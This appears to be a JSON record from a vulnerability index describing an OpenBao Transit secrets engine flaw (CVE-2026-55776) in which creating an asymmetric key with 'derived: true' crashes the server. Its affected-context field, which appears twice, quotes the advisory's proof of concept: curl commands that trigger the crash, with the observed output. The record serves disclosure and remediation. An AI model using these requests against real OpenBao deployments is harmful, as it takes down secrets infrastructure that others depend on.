{"items":[{"id":"NVI-00018437","kind":"vulnerability","title":"OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-8w8f-r2xv-4q4j","CVE-2026-55776"],"plain_summary":"GitHub lists this reviewed advisory for github.com/openbao/openbao, github.com/openbao/openbao. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-23d200857d6cbf42377dc4cdbe36382f"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-19T21:42:11.000Z","value":"6.5 medium","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-23d200857d6cbf42377dc4cdbe36382f"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-23d200857d6cbf42377dc4cdbe36382f","url":"https://github.com/advisories/GHSA-8w8f-r2xv-4q4j","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-8w8f-r2xv-4q4j","publisher":"GitHub Advisory Database","observed_at":"2026-11-06T07:18:46.322Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-23d200857d6cbf42377dc4cdbe36382f"],"technology":"github.com/openbao/openbao","known_exclusions":[],"conditions_summary":"On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)\nwith `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.\n\n\nMount the transit engine:\n\n     `curl -sS -X POST -H \"X-Vault-Token: root\" \\\n       -d '{\"type\":\"transit\"}' \\\n       http://127.0.0.1:8200/v1/sys/mounts/transit`\n\nTrigger the crash:\n\n     `curl -sS -w '\\nHTTP %{http_code}\\n' -X POST \\\n       -H \"X-Vault-Token: root\" \\\n       -H \"Content-Type: application/json\" \\\n       -d '{\"type\":\"rsa-2048\",\"derived\":true,\"exportable\":true,\"deletion_allowed\":false}' \\\n       http://127.0.0.1:8200/v1/transit/keys/some-key-name`\n\nYou can try with both JSON or HCL It will crash the entire cluster.\n\n  Observed:\n     HTTP 000\n     curl: (52) Empty reply from server\n\n     $ docker ps -a --filter name=openbao\n     STATUS: Exited (2)\n\nRoot Cause (Hypothesis)\nKey-derivation paths in the transit engine appear to assume a sy","public_affected_ranges":[">= 0.1.0, <= 2.5.4"]},{"certainty":"source_listed","source_ids":["sr-23d200857d6cbf42377dc4cdbe36382f"],"technology":"github.com/openbao/openbao","known_exclusions":[],"conditions_summary":"On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)\nwith `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.\n\n\nMount the transit engine:\n\n     `curl -sS -X POST -H \"X-Vault-Token: root\" \\\n       -d '{\"type\":\"transit\"}' \\\n       http://127.0.0.1:8200/v1/sys/mounts/transit`\n\nTrigger the crash:\n\n     `curl -sS -w '\\nHTTP %{http_code}\\n' -X POST \\\n       -H \"X-Vault-Token: root\" \\\n       -H \"Content-Type: application/json\" \\\n       -d '{\"type\":\"rsa-2048\",\"derived\":true,\"exportable\":true,\"deletion_allowed\":false}' \\\n       http://127.0.0.1:8200/v1/transit/keys/some-key-name`\n\nYou can try with both JSON or HCL It will crash the entire cluster.\n\n  Observed:\n     HTTP 000\n     curl: (52) Empty reply from server\n\n     $ docker ps -a --filter name=openbao\n     STATUS: Exited (2)\n\nRoot Cause (Hypothesis)\nKey-derivation paths in the transit engine appear to assume a sy","public_affected_ranges":["< 0.0.0-20260617104123-db57c62602b2"]}],"null_published_at":"2026-11-07T07:07:39.836Z","source_updated_at":"2026-06-19T21:42:11.000Z","source_disclosed_at":"2026-06-19T21:42:09.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-06T07:18:46.322Z"}],"next_cursor":null,"snapshot_revision":"42594"}